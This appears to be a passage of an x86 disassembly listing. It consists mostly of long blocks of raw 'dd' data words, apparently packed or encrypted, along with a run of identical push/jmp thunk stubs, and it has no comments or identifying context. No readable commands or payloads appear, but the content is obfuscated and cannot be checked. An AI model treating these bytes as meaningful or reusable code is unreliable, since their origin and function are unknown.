		dd 0CA7356D4h, 0E58E6BEAh, 0FCA58405h, 120CC468h, 0BA1DD820h
		dd 77D57615h, 1314CCF0h, 0CB1DC21Dh, 0F195396Ch, 92C59C21h
		dd 1D617BB3h, 0CA291DC2h, 0E417F67Ah, 0D455A505h, 73A68304h
		dd 1D0517CFh, 66C51DC2h, 0DC75A807h, 7AD2C3FAh,	6A9D7CFCh
		dd 50082C8Bh, 1BCD0A57h, 0D3CD8529h, 7B17D324h,	1776BC1Ch
		dd 149CFDF3h, 2E233DF5h, 8CEB17D3h, 0E7C9D616h,	656EB98Dh
		dd 0EE4EAD11h, 9677D45h, 3B3517D3h, 517D309h, 72D2B135h
		dd 486CFB51h, 0C62C8D90h, 0BFF25111h, 0FE221607h, 0DD2FC609h
		dd 0E465F601h, 0E5C2F4EEh, 7FDECD38h, 1381085Ah, 0C7A4E7A9h
		dd 5EDh, 832C0588h, 9B4423A3h, 0AE5736BBh, 0CC754CCEh
		dd 0E08968ECh, 28662E9h, 24A2822Bh, 3DBC9C45h, 52D3B35Ch
		dd 9236CA73h, 0D820C0DAh, 44E3881Dh, 0CCF077D5h, 7E907DD6h
		dd 74D43DCCh, 5DDCAC50h, 0D9E41C7Ch, 0A51DD876h, 9F6F1346h
		dd 3110431Ah, 210081D1h, 72F4C478h, 390E2F8Fh, 0BA3A0A2Eh
		dd 58D8A8DBh, 87BA1A79h, 0AE5736B7h, 3D704DCEh,	233DF599h
		dd 0EB1DD874h, 0BEB0688Ch, 5E1DD874h, 0CE4F9FFFh, 0B395BCEFh
		dd 36B8887Ch, 2AABFB5Bh, 0D76CA24Bh, 7E303002h,	1B5h, 0F077D55Fh
		dd 113B14CCh, 84E31DC2h, 11819951h, 30E41DC2h, 853DDF60h
		dd 1DC2116Bh, 4275D433h, 7AB10363h, 0C8DC389h, 8C693385h
		dd 83E2FCB4h, 4BAA1DC2h, 0B1698DECh, 1BCD989Eh,	0A669ACA2h
		dd 90819886h, 1B9AEA30h, 0CD2C0B3Eh, 0E6C34424h, 862FCCC2h
		dd 1D7F91D0h, 16E68ABDh, 0A887BA97h, 9A77F848h,	5B0C40F1h
		dd 27F87F37h, 0E6DC11DCh, 0A6246BDDh, 394C4DC3h, 85E42A8Ah
		dd 0F0849A52h, 0B63A09E0h, 0B176DCC0h, 0BF1EF0D0h, 5C3DBC8Ch
		dd 0F9301229h, 0F42B8DCAh, 47A5E97Eh, 33903Ch, 0D5710000h
		dd 14CCF077h, 1DC22CB3h, 583BBD8Dh, 2053B2F8h, 0C22C7268h
		dd 82B91B1Dh, 5F3EBE8Eh, 47ED4D2Ch, 3029AAB2h, 0CB57h
		dd 0E5633300h, 94F4D306h, 4825A675h, 0E2C14515h, 7F5EDFAFh
		dd 0A4F6655Bh, 8DFC8109h, 0A92AFA2Dh, 885B23CCh, 0F41BCDBFh
		dd 62C29F24h, 0BB49112h, 14028757h, 0E58BE492h,	5B8EED57h
		dd 0C7AA2C7Ch, 3455B594h, 872B4F18h, 0F374CC91h, 76D65E0Ch
		dd 0DC1C0D3Eh, 8AAE0D1Dh, 0E26636BAh, 9AF9D80Bh, 0EF6D3DF1h
		dd 17A7960Ch, 0A6716E88h, 9B72F646h, 3247E276h,	0EDCA0DBDh
		dd 409h, 5F08E96Ch, 7720FF7Fh, 923B1297h, 0A85130B2h, 0C46D44C8h
		dd 0E66A7ECDh, 7E5E07h,	19987821h, 2EAF8F38h, 6E12A64Fh
		dd 0D826A4B6h, 20BF641Dh, 0A24B22A6h, 0C59C1EEEh, 0F0941565h
		dd 0CD0A2638h, 1196E61Bh, 0CB2A093Ch, 3F0FC36Ch, 6584E4BBh
		dd 0AF7D02D2h, 3D1C4F2Eh, 6CCCABDEh, 41F99B1Ch,	1BCD0A2Fh
		dd 0FE3190EFh, 27D0AD2Eh, 7E02D278h
		dd 0F55429AEh, 4B83E3C2h, 1BCD8A55h, 0CD8AED03h, 0ED7AD21Bh
		dd 0AF0C11C9h, 73D21DD8h, 0BAAD9F40h, 0A222F296h, 51B190C3h
		dd 0D787FE19h, 3C61C01Bh, 0B7042B3Eh, 5EBD9ADDh, 17000003h
		dd 3414BD94h, 4C2CD5B4h, 6141EAC7h, 7B5B04DFh, 786F18F7h
		dd 0BC9317D3h, 0D6B53313h, 0EBCE4D2Dh, 4E16242h, 6B23C75Bh
		dd 1DD82771h, 0A6D57419h, 45154825h, 8B3CE5C4h,	0CA82A6C1h
		dd 1DC21245h, 0BB73A605h, 1DC213A5h, 5FD50C6Eh,	3029A1CAh
		dd 576Fh, 16554B00h, 0CD6589BCh, 0CBBFB71h, 0D35EC3C4h
		dd 77D55473h, 0FE8D7BFFh, 0B19CE119h, 9E81B7Ah,	75CE86AAh
		dd 251DC243h, 1FEF93C6h, 4B4AC09Fh, 202C641Dh, 0A2058B8h
		dd 0D31DC204h, 2FC43A71h, 0D6302992h, 114h, 44560EB2h
		dd 0FA1DC208h, 85649776h, 6180E03Fh, 0D85725A6h, 97679AF9h
		dd 65093C13h, 331695h, 0F071C121h, 63C29F20h, 11DF6030h
		dd 2739F18Dh, 0E71BCD0Ah, 21CA2988h, 1F11C96Dh,	0BF1BCD0Ah
		dd 0AC9E39Bh, 32911BCDh, 0C8C25DD3h, 0A645A0FDh, 4DD50E46h
		dd 0D7A71BCDh, 0CA1A7A59h, 1DFC7B49h, 3AC0BEAh,	90C3A223h
		dd 0E60A5DEFh, 6D6378F0h, 1979E27Dh, 0BC663DF5h, 544A1DC2h
		dd 2165D468h, 0F55B506h, 0E63933EBh, 82E11DC2h,	83C97A23h
		dd 0D08C0E4h, 0D11BD356h, 0F326FD81h, 2638F014h, 0E617EC96h
		dd 34042887h, 5A540CB0h, 217EC96h, 0BB9B44A3h, 73335837h
		dd 0DEB70179h, 1FFBE9Bh, 0F3760000h, 1595751Eh,	28AD8D36h
		dd 3EC0A049h, 56DABA63h, 74D7CE77h, 741DF478h, 8A331694h
		dd 0A54E2BAAh, 0BC6544C5h, 0D2CC8428h, 7A1DD824h, 22A636D5h
		dd 0AA219086h, 9C9D3456h, 0CD574A64h, 0AE83081Bh, 1AA0968h
		dd 9DC1A021h, 366948CDh, 9F4EF757h, 0F4D977D5h,	0DBA8FB33h
		dd 83274BAAh, 0D28A2EB3h, 1BCDFDD8h, 8FC22180h,	0AF1850B0h
		dd 6F1DC2DBh, 0F25DD10h, 0D81DDD17h, 7B4B3F76h,	8D9F57FBh
		dd 4D1DDD17h, 7D5C8FEEh, 178FA159h, 0F04F1DDDh,	0A155EA90h
		dd 0ADFC302Ah, 0DD000000h, 154825A6h, 70F1C145h, 13461BA0h
		dd 0C3A2D534h, 9DC5224Dh, 88E7B3EFh, 0EF4A9D55h, 890A1BCDh
		dd 0A22303ACh, 5DEF90C3h, 9516E60Ah, 31B585B8h,	0E1401F52h
		dd 0CEA55D81h, 901DC2C5h, 75D78831h, 0C016CEF2h, 801BCCA9h
		dd 8959FD21h, 4C04280Bh, 17ECB152h, 0EB3B9BFAh,	0FFDF8867h
		dd 0CD7FA47Bh, 34B7015Eh, 0F714F1h, 0FB7E0000h,	1D9D7D26h
		dd 30B5953Eh, 46C8A851h, 5EE2C26Bh, 6CDFD67Fh, 7C25FC80h
		dd 923B1E9Ch, 0AD5633B2h, 0C46D4CCDh, 0DAD48C30h, 821DD825h
		dd 22A63EDDh, 41C2A24Bh, 1107BB64h, 6FFBB714h, 0E80767BBh
		dd 9F7E02D2h, 0DD2D8D6Ch, 0EE00B85Ch, 0AE1BCD0Ah, 28CCF04Fh
		dd 0CD0A7E70h, 5FBF1E1Bh, 4192882Ch, 1A14CC2Ch,	0C21BCDCAh
		dd 0ED6CED63h, 79FA4AAAh, 0A42F39Ch, 7881395Dh,	3E1DD8ABh
		dd 5BDCACDFh, 74F5D57Eh, 0A08100D0h, 44568E6Dh,	0FA1DD8A3h
		dd 8C6B9E7Bh, 5588E746h, 0C6B7D69Dh, 0ACE3C538h, 3297C2B8h
		dd 1138D528h, 1E061B1h,	1AF77858h, 0DF4D00F6h, 480C2932h
		dd 2989E8C9h, 0B6A426F6h, 0FD728501h, 0B49514FEh, 0ACC3F655h
		dd 0F27393CAh, 64C3A222h, 8A5ADBBBh, 96C92805h,	14B9h
		dd 699D8A00h, 0F0CCFF73h, 9E5658D3h, 1BCD508Ch,	2E8EED4Ch
		dd 4E23A60Fh, 0EBCA4B1Bh, 8869E8B8h, 24078555h,	0C69D21F1h
		dd 603FC393h, 0F8DB5D2Dh, 9170F5C5h, 2F0E8E5Eh,	836835FCh
		dd 89000008h, 8956240Ch, 4C681E6h, 83000000h, 348704EEh
		dd 1C895C24h, 4EC8324h,	68243C89h, 6152598h, 81241C8Bh
		dd 4C4h, 3C8B5400h, 4C48124h, 51000000h, 8B9h, 57F90100h
		dd 3989DF89h, 34FF595Fh, 0C4815F24h, 4,	5B2434FFh, 4C481h
		dd 0F6E90000h, 13FFFB14h, 0B8FFEA51h, 61530F4h,	0E0FFC503h
		dd 804EB2Ah, 2609ED9Ah,	1B57FE39h, 7B92DE9Ah, 4EBB31F6h
		dd 15E1762Dh, 7C009939h, 1E00CF8Bh, 2A0ECC36h, 6DB59D86h
		dd 1EDEEFE4h, 4BA66D08h, 52C4CA9Bh, 6B7C4EEh, 5525DC9Fh
		dd 78D6F345h, 659D49A1h, 0BC8B7CBh, 68A11DA7h, 63818947h
		dd 26D5E846h, 1DA2571Ch, 67FA6865h, 64C3551Dh, 2CE6F080h
		dd 3D963188h, 6B5CC716h, 328D8D8Dh, 6A0615h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 2A51D3C3h
		dd 0D6B0F049h, 0E880B7C8h, 658D89FBh, 0F060F2Ch, 688h
		dd 6D9D8900h, 0C7060F2Ah, 0F07C185h, 6D7C06h, 20840F00h
		dd 60000000h, 13E9h, 71832700h,	0DD8CDB4Eh, 0A62A4CEBh
		dd 546308BCh, 1845A1Fh,	1E898D89h, 0C761060Fh, 0F249185h
		dd 6, 89B53300h, 0FF060F21h, 0F31F5B5h,	0B52BF906h, 60F29F9h
		dd 2A0595FFh, 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 594C10C3h, 9589EE98h, 60F28B9h
		dd 95FF006Ah, 60F3451h,	1CEBC08Bh, 39072FADh, 1EB4D78Dh
		dd 2FB09F33h, 0C801BE60h, 6B2DA878h, 7FEFAFEEh,	0DE30EAA8h
		dd 0CE8h, 934C900h, 7BB38C31h, 236C5E9Eh, 0A5BD8903h, 5E060F2Eh
		dd 815AE180h, 6A98C6h, 68F0F00h, 8B000000h, 0F33F99Dh
		dd 6806h, 0B5310000h, 60F247Dh,	3234FF5Ah, 0BC12BB66h
		dd 0DF8B5658h, 61F08159h, 8064CAEFh, 0F08159CFh, 157050ECh
		dd 0CE9h, 253A3B00h, 0C7553C42h, 0AB34E372h, 1EE8819Ch
		dd 0E9059F63h, 0Ch, 42AE4D6Eh, 0B0E4AEB7h, 0EE15CC3Ah
		dd 0C606BB50h, 48F4634h, 0E5B52916h, 33060F16h,	0F17F1BDh
		dd 4EA8306h, 3031BD23h,	0FA81060Fh, 0FFFF9608h,	0FF93850Fh
		dd 8B66FFFFh, 92E9CFh, 22C60000h, 0CC4762B0h, 38F3BAF5h
		dd 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h
		dd 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h
		dd 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h,	9E96AFF4h
		dd 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h, 0DB4D5200h
		dd 5EF357h, 9DBBEFB6h, 9500BD89h, 0EFB69F89h, 0D00097BBh
		dd 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h, 5	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5AF381
; ---------------------------------------------------------------------------
		push	615361Eh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153705h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61537F8h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	615390Dh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153992h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153A62h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153AF9h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153BA2h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153C69h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153D3Ch
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6153E24h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db  68h	; h
		db  5Dh	; ]
		db  3Fh	; ?
		db  15h
		db    6
		db 0E9h	; é
		db  51h	; Q
		db  4Ah	; J
		db 0FAh	; ú
		db 0FFh
; ---------------------------------------------------------------------------
		push	6154242h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	615433Fh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 0D2h, 0BFh, 9Ch
		dd 2E316487h, 0C15CF619h, 52CD89ACh, 0E3461A3Dh, 891BADCEh
		dd 1E4156F1h, 0B6D9EE49h, 4A6D829Dh, 2DFC1134h,	1A28CF80h
		dd 180F66EFh, 1A3D53FFh, 154C8835h, 5B31CCh, 8F5F75D4h
		dd 0B295EB0Eh, 1F025285h, 0EF04853Ah, 2F5C7623h, 0A2208BF3h
		dd 991A4C6Ch, 66FC2F6Ch, 6FCAA0C3h, 0B43D4DEEh,	43F86B0Ah
		dd 94BE3D5Eh, 195E66F4h, 3865B34Ah, 57064600h, 0ED000000h
		dd 78A80D49h, 70179435h, 6E7623EFh, 0A3583D18h,	0D104416Eh
		dd 78199A85h, 6B0A7326h, 0ED0ABBF8h, 4266F47Ah,	0A5480C8Dh
		dd 50EB7FF0h, 0C25DF81Bh, 0EF328DDh, 0F47B0EEDh, 0BAC90E66h
		dd 0B9A4F023h, 41F21FD4h, 66F47AB6h, 5E4BCC81h,	460022BAh
		dd 10DB3h, 3D539A00h, 5588351Ah, 863B2003h, 0AB8EE205h
		dd 0A9DC19C6h, 0DC9176D1h, 44DBC3Bh, 3DBE736Dh,	0FCE1441Ah
		dd 9661124Fh, 0A16D044Dh, 32486BECh, 0BDF26D29h, 49DD07A8h
		dd 0B7CD6D04h, 65C7F94h, 0C863F82Bh, 6A8D2EE3h,	0C56D044Ah
		dd 49F6DB10h, 66E74216h, 0A6D3FF9Ah, 4A3FB869h,	43F86D04h
		dd 0CADD4317h, 8B0C240Eh, 0AF69AD5Eh, 21C46B0Ah, 0DBEEB76h
		dd 66F4AEEAh, 465B9045h, 0B4AFE619h, 7B60FB91h,	207945C6h
		dd 0DFD485B2h, 98650641h, 0EF83B6E3h, 5DE31F4Ch, 0FD4FF448h
		dd 123F54D5h, 6ACDA2D5h, 0E59C2EC9h, 75E8AA6Ch,	1ECFFCB1h
		dd 6CE59BD9h, 528A95Eh,	78A0D36Dh, 5C889BBAh, 1F5444B2h
		dd 51D1214h, 308D728Eh,	0DF8h, 283D1871h, 0B8CD5005h, 4B60C395h
		dd 0DCF16C28h, 7186A1B9h, 5A2EBE50h, 0B0C7EAFFh, 3A5D8095h
		dd 99EF1227h, 2DDAA9BEh, 0EF187B7Ch, 0A4BDB466h, 0EF1C3F53h
		dd 7889BBCh, 9EB9CFF2h,	0EFAA8089h, 9905B6E3h, 0D46B0B67h
		dd 0E2193A1Fh, 3A66F527h, 898F96F5h, 0E24600CFh, 0CAh
		dd 1A3D53C9h, 5BFE9235h, 0DB8CC976h, 6D044E1Ch,	3CDD5E13h
		dd 6D0449A8h, 224FEA80h, 49C334E5h, 0C96C6D04h,	0DE5F948Fh
		dd 2609CC9h, 0E6950D91h, 0C659FC1Fh, 88AB2CE1h,	267257F2h
		dd 0F5325F73h, 0C4ADD9B9h, 6415DB77h, 6D041D93h, 31B2E79Ch
		dd 0B1E8690h, 273CF16Bh, 67943E5Bh, 1E7E792Ah, 4B966F5h
		dd 0F3A55683h, 0D16506B1h, 0E96AF59Eh, 10437025h, 325FE07Bh
		dd 0BBD06BFFh, 5A65C098h, 8E057F72h, 116CC9AEh,	5800000Dh
		dd 0EE112601h, 84A7BCA7h, 173A4FD2h, 0ACCFE47Fh, 3B5C71D4h
		dd 0E84317A9h, 80DBB0D3h, 140F486Bh, 0A386DCFFh, 6112BF8Eh
		dd 66EF1696h, 5391AAA1h, 0F9642E3Fh, 0F68CAFC4h, 0F72C0F65h
		dd 3D53D9E2h, 0C2F76A2Ch, 3B0C6295h, 50D10619h,	0A0B2C86Bh
		dd 0AF9A25Eh, 0E87B1C1Ah, 46697EB3h, 892C110Ch,	164358F3h
		dd 28A98CE3h, 1B4E7739h, 9561E245h, 6EA1CE04h, 9F543924h
		dd 0AE40F11Eh, 0E96B0AD8h, 1DDD7E34h, 10947ECAh, 21045B89h
		dd 4F82BFECh, 8B371C07h, 0ADF0A461h, 0C94A7F61h, 86070628h
		dd 0A78C4179h, 0B89D3E5Bh, 15316515h, 34719ED3h, 79B97483h
		dd 7C18BB75h, 0BF80ACE1h, 259A56C1h, 590A37B8h,	738BAE7Fh
		dd 985F104Dh, 9F7B6B4Eh, 0F0A569EAh, 5FFA90C3h,	0DE57FF32h
		dd 957AAF8Ah, 274A5FE0h, 0D5EBF651h, 357F831Ch,	0C1EF350h
		dd 364B0000h, 0BADBFE13h, 256F92A7h, 5202253Ah,	0C397BACFh
		dd 0A0325368h, 0C8DD7810h, 566BCEA5h, 0E8FD6033h, 778CAFC5h
		dd 0AD4AFBA8h, 8266EF16h, 3D53728Bh, 0B0E9351Ah, 644F522h
		dd 516B0B59h, 0DEBB879Ch, 0E0CF2DFDh, 0FA037C4Ch, 57DE0A4Ah
		dd 0D8730779h, 4DE880A3h, 517EB368h, 0BBB4E114h, 674C81A4h
		dd 0F69031B2h, 4164FB8Bh, 7586A78Ch, 0A76D0374h, 1CFC0562h
		dd 514C0F1Bh, 49h, 0E3EFAA38h, 19305B6h, 25DA6B0Bh, 6D41BCF8h
		dd 3F3235CCh, 355E91BEh, 8974152Ah, 4566F4C2h, 14FE8909h
		dd 99BC5A2Ah, 0C3E667C2h, 2A5D8AADh, 5C11F669h,	5D99C6DBh
		dd 0CF0C9201h, 0B1D45565h, 39967BE6h, 0B58h, 0E3EFAAA0h
		dd 7CC505B6h, 5B106B11h, 0C265FB2Eh, 7AA728DDh,	1163147h
		dd 0C8AD88DEh, 88B51D7Ch, 0FC4A84D7h, 0D1FEB364h, 586DC89Eh
		dd 17FC5F35h, 0D704CECBh, 0B471026h, 49FAA76Bh,	66F544AEh
		dd 949FD489h, 8814EAB4h, 992EFD4h, 6000000Bh, 0F6192E09h
		dd 8CAFC45Fh, 1F4257CAh, 0B4D7EC77h, 436479DCh,	0F04B1FB1h
		dd 88A3B8DBh, 1C075073h, 0AB8EE407h, 691AC796h,	66EF148Eh
		dd 0D599B2A9h, 6D044E26h, 3B1E75A8h, 5420A156h,	0AF608D45h
		dd 6B117DB4h, 0E4214E03h, 0FF80DBB1h, 8EA386DCh, 4D32156Bh
		dd 91429801h, 66EF1B66h, 50F01CD1h, 0E8D2E7E9h,	3FF01D52h
		dd 64F5970Bh, 4F3A4E1h,	2B6CE979h, 7C31F576h, 135AF71h
		dd 65C2A78Eh, 0A84h, 94A98CE5h,	24392471h, 0B7CC5701h
		dd 485DC094h, 0D5EA4D25h, 0FE9222B4h, 4C23465Bh, 0E6B1D4E9h
		dd 2D43667Bh, 7926F50Ah, 0EF152FC8h, 0F8110866h, 0E47F1649h
		dd 0F2A4063h, 56F1872Ah, 34672471h, 661B0063h, 0BA4320E5h
		dd 4C0FF15Eh, 4E30Fh, 0C49F600h, 44D9C5Bh, 5DDE936Dh, 9DCA0891h
		dd 117D7BECh, 0D2FFB46Bh, 416EC99Fh, 0A0726D05h, 283C601h
		dd 0C88DC0EDh, 0DBB1D455h, 315EC192h, 0EF237780h, 0D60BC066h
		dd 84306CA9h, 0E63F0BB8h, 0F1D324C5h, 0B95C66EEh, 0EA9F849Fh
		dd 2E4F34B5h, 66EEF1CDh, 6E9B3762h, 0CE69FE31h,	0EEF1CA2Dh
		dd 7B86566h, 66EEF1F0h,	0DC5D9247h, 0FD4CFEAFh,	0D68B64F5h
		dd 1AB0BCBh, 0B512F78Eh, 9B4h, 6479DCB5h, 0F4091441h, 879C87D1h
		dd 182D3064h, 0A5BA9DF5h, 0E62F284h, 9CF3162Bh,	0D681A4B9h
		dd 7D13364Bh, 49F6C5DAh, 0EF145F98h, 0C8E1D866h, 351A3D53h
		dd 7459FC92h, 0BA9FBAD1h, 0FDE27D17h, 0ED702548h, 26459A08h
		dd 1675CA97h, 0FF2090Fh, 4515514Ch, 0AF62E861h,	245C78A4h
		dd 812703C3h, 3FEE400h,	0D5CB0000h, 6D044E26h, 15429009h
		dd 117C4164h, 1441F66Bh, 9BB08BE1h, 6247E278h, 224F8316h
		dd 0F625D971h, 9CA75C64h, 8E01C44Eh, 1D7CD9BEh,	4C000009h
		dd 0DAFD1235h, 7093A8BBh, 3263B26h, 98BBD053h, 2F5065C0h
		dd 0D4770B9Dh, 64C79CBFh, 0F86B2C4Fh, 8FAAC0E3h, 4DFEAB7Ah
		dd 66EF13AAh, 53758E85h, 26EC233Dh, 0D204F3A4h,	762B6D03h
		dd 0E731614Ah, 542ACDB2h, 2D690CF1h, 0D5AA4D32h, 19044F72h
		dd 19663B34h, 0C996EBB8h, 0F72E830h, 36A854Ch, 0D56C0000h
		dd 6D044E24h, 0F3C9603h, 0C0A5B8DCh, 0AC5D8A0Bh, 6B117D00h
		dd 22558237h, 0B1D4E94Ch, 0EE9B80DBh, 9F84A7BBh, 0FC9D69EAh
		dd 0DD76A9D6h, 27A85D42h, 1E4149FAh, 3FF464F6h,	1CFCC34h
		dd 0A674C8Eh, 874h, 0A4B99CF5h,	3449D481h, 0C7DC4711h
		dd 586DF0A4h, 0E5FA5D35h, 0CEA232C4h, 5C33566Bh, 96C1E4F9h
		dd 3D53768Bh, 8936051Ah, 0EF131FD8h, 8211866h, 351A3D53h
		dd 7459FC92h, 0B59A85D1h, 0F9DE4112h, 0E260156h, 0C58B2A39h
		dd 8EE4E380h, 6FA996ABh, 0FC4C0FF5h, 20h, 26D182BFh, 116D0442h
		dd 49D2DB5Ch, 5DF94216h, 5A88DC2h, 31E6CB6Eh, 0AD9E7BFCh
		dd 5000002h, 44E24D5h, 3C96036Dh, 7C575E0Fh, 4F046B11h
		dd 0BE99EF22h, 55F086A9h, 0FDAEEB28h, 66EF1AFAh, 18DF8035h
		dd 1F66EF1Bh, 6B8C3D6Ah, 0C466EF1Bh, 5DA98E0Fh,	2C69963Ch
		dd 41C25DF9h, 0F61EEAA0h, 0ADB86D64h, 8E01CF4Bh, 0AD79D6BBh
		dd 0BC000007h, 4A6D82A5h, 0E003180Bh, 7396ABB6h, 82B4023h
		dd 9FC0D570h, 44E77B0Dh
		dd 0D4770C2Fh, 68FB9CBFh, 0FF5A3053h, 0BD6E1BEAh, 66EF123Ah
		dd 53E5FEF5h, 88351A3Dh, 72233E55h, 6D044D85h, 0DBC0F5AAh
		dd 0EC82A526h, 0AEE91C49h, 9819CEB3h, 5B286DB3h, 3E53F68Ch
		dd 0D423D411h, 5B6D044Dh, 0E03825A6h, 8D4C0FF5h, 14h, 5B0C4974h
		dd 6D044D9Ch, 0C09BF093h, 0E12D0A8Bh, 94000001h, 44E23D5h
		dd 276EA16Dh, 21A2573Ch, 618E4455h, 298C6425h, 85068B86h
		dd 5C13A758h, 0EDA26B11h, 55C88DC0h, 376AA7D4h,	691E031Eh
		dd 8CAFC5E8h, 1B3E5477h, 93A4BBEEh, 43285DC0h, 0DC280D8Eh
		dd 37E815BDh, 64F63F53h, 0CA424D02h, 468E01EEh,	6DA0461h
		dd 0FA8F0000h, 6E274A5Fh, 99BBDEF3h, 64E7186h, 8FE3061Bh
		dd 0E47697ACh, 4193C54h, 9AAF8AE1h, 2C41DC77h, 0C3D87309h
		dd 619647F4h, 0D666EF11h, 3D53C6DFh, 4D867122h,	0FCB16D04h
		dd 0AC5D9AC7h, 6D044E4Bh, 0C9AE2FE4h, 0B792E91Ch, 5AFA1DD2h
		dd 0AC2DE2C7h, 7358F389h, 1044802Dh, 0D44F0837h, 0E0E3AEFh
		dd 561B9C1Eh, 81A4BA09h, 51023F6Ch, 6D03C0A6h, 0C433E491h
		dd 6B6D03C0h, 130081B6h, 4C0F6905h, 0A45D1955h,	53A15607h
		dd 0E1966D03h, 4832BCB5h, 20ABC7h, 3B6E0000h, 7B840518h
		dd 9C5B0C49h, 936D044Dh, 0DD805DDEh, 0C3000000h, 3659C490h
		dd 671C011Ch, 23D5DDE6h, 26D044Eh, 5D0E3B97h, 6B117C65h
		dd 0CBFE2BE0h, 5A7D92B5h, 0F03C2104h, 4BFC29A9h, 64F61E3Fh
		dd 0B03641F6h, 308E01CFh, 5F2EE4Bh, 0E2770000h,	460F3247h
		dd 0F1A3C6DBh, 1E36596Eh, 0B7CBEE03h, 0CC5E7F94h, 0EC01243Ch
		dd 8297B2C9h, 1429345Fh, 0ABC09BF1h, 797E2FDCh,	0BE66EF10h
		dd 3D53AEC7h, 0C1F6692Ch, 82339DCh, 0F330DD23h,	44DB542h
		dd 44C57A6Dh, 8DE3E07Fh, 0BB417DAAh, 600452EBh,	0A7DC7F14h
		dd 0F4241126h, 794C0F3Fh, 18h, 5B0C4960h, 6D044D9Ch, 805DDE93h
		dd 30h,	60FB90C3h, 3C45C67Bh, 0E5401649h, 0A7CA4B00h, 3AD57FD1h
		dd 280D1045h, 0F0954773h, 0D6795E93h, 52C0A580h, 0B616EFDh
		dd 2A3E1B30h, 0A5000000h, 351A3D53h, 44DE614h, 0B99CF26Dh
		dd 0FE6728D4h, 5BA872Eh, 0CAAFB2E2h, 4E6FFCD1h,	0B2314E23h
		dd 376479DCh, 4DCE5104h, 5B0C4944h, 6D044D9Ch, 3A5DDE93h
		dd 0DF421324h, 2B1045FAh, 0EB18BADFh, 117C903Ah, 0E512C76Bh
		dd 527EE1B2h, 0B97691D7h, 0A9D657F0h, 3045E076h, 0A7D4770Dh
		dd 4587FC6Bh, 0CD4ED9B6h, 0DEFD9CE8h, 5C1FFAF8h, 8AB7EC31h
		dd 0FBF682D9h, 0D300B564h, 5A6FCAA0h, 21062137h, 0E10EC4D5h
		dd 0A930630h, 0F1FCB16Bh, 88145D61h, 0B99FFCE1h, 0B0000004h
		dd 46697ED9h, 0DCFF140Fh, 6F92A7BAh, 4273C27h, 93B4C96Ch
		dd 401B6F01h, 0D873082Bh, 6CF7A0C3h, 0FB5E3457h, 0B96A17E6h
		dd 66EF0F3Eh, 53E902F9h, 0E2051A3Dh, 497CA98Ch,	0DC9D2032h
		dd 0C8F14638h, 8A2D1293h, 0C96C51F4h, 0EB196B1h, 62FADF7Ah
		dd 19DFFE8Dh, 2238B7D4h, 89C5F207h, 0D19A5D13h,	9F677F6h
		dd 4C0F420Fh, 9A5D0E4Bh, 956D0395h, 43435FE0h, 2A000000h
		dd 0B6E3EFAAh, 0C2F05B7Ah, 2CADCED7h, 0D54A4EFFh, 7C316B0Ah
		dd 0E87B1C4Fh, 0EDCB32D3h, 7B1166F4h, 6B9ECBE0h, 28063215h
		dd 5B07AFDEh, 0B6E10485h, 0A2879ABDh, 0E7CC57FFh, 0E3C8FD32h
		dd 3FF86h, 0EFAAED00h, 0D283B6E3h, 4E51A657h, 31E66D04h
		dd 0E16217FCh, 79F303B4h, 853A6B0Bh, 0D667FDA0h, 8B70A580h
		dd 83BBC81Dh, 0A486CE16h, 84B19A1Eh, 0EED308AEh, 26D70439h
		dd 64FC6CD0h, 0ABABC2FEh, 6E30D862h, 0CE8629EDh, 84B96E53h
		dd 0EEF6A36Fh, 5885BAA5h, 0AF04FA7h, 8F407D6Bh,	66F49068h
		dd 763A2570h, 0C77C40C1h, 4BAC5D9Ah, 0E466F490h, 26C9AE2Fh
		dd 0D24D0952h, 0EABFB89Dh, 5607449Dh, 66F48FA1h, 9460E196h
		dd 0EFA0CD05h, 64FBBC07h, 54F78B2Eh, 0E611C26Fh, 516D03C3h
		dd 1144679Ch, 0A1C4D90Eh, 64370CBh, 3C3A255h, 94EA8D6Dh
		dd 16FB7CB1h, 253A1D73h, 65924059h, 0C4807728h,	2B76D03h
		dd 0E7A35481h, 56B0ACBh, 0B499BCD2h, 0BBA15607h, 0E19666F4h
		dd 0C4672BACh, 71568BAEh, 0F4BBAB50h, 5F2C7166h, 5F52C6h
		dd 17CE0A46h, 21AB1E3Fh, 4C31146Bh, 0C5E16297h,	60h, 5D9A4B88h
		dd 0D266F4AFh, 0AA939C1Dh, 0BFA2F5EFh, 0C3F025DAh, 5F984986h
		dd 0D86D044Eh, 4E7D7A2Bh, 0FDB26D04h, 0F8A647C8h, 4F6B0B67h
		dd 0CC08B59Ah, 0F72E951Fh, 9334B5EEh, 66F50268h, 573C2770h
		dd 9479DCB4h, 9A9BBCDFh, 0C77C61C4h, 2267AD92h,	50957445h
		dd 0A92EEA33h, 103F4600h, 26000001h, 351A3D53h,	765BFE92h
		dd 0F1A2BDD3h, 6D044E06h, 0C3A38531h, 0FA9096Ah, 4578A5DAh
		dd 0A68B0C2Fh, 0B5CA6D03h, 5BBD4C88h, 0BAA7B350h, 0CC3B2754h
		dd 96174C16h, 3B5EFF5h,	0EFA0DD6Dh, 6D03BE08h, 0D6F97A2Fh
		dd 6D90A580h, 110C4617h, 3572AFDCh, 3BE7384h, 6607BC6Dh
